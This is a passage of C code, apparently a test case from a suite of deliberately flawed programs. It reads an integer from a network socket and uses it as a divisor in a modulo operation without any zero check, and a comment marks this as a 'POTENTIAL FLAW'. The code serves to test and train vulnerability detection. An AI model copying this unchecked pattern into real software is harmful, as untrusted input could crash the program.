                recvResult = recv(acceptSocket, inputBuffer, CHAR_ARRAY_SIZE - 1, 0);
                if (recvResult == SOCKET_ERROR || recvResult == 0)
                {
                    break;
                }
                /* NUL-terminate the string */
                inputBuffer[recvResult] = '\0';
                /* Convert to int */
                data = atoi(inputBuffer);
            }
            while (0);
            if (listenSocket != INVALID_SOCKET)
            {
                CLOSE_SOCKET(listenSocket);
            }
            if (acceptSocket != INVALID_SOCKET)
            {
                CLOSE_SOCKET(acceptSocket);
            }
#ifdef _WIN32
            if (wsaDataInit)
            {
                WSACleanup();
            }
#endif
        }
    }
    if(globalTrue)
    {
        /* POTENTIAL FLAW: Possibly divide by zero */
        printIntLine(100 % data);
    }
}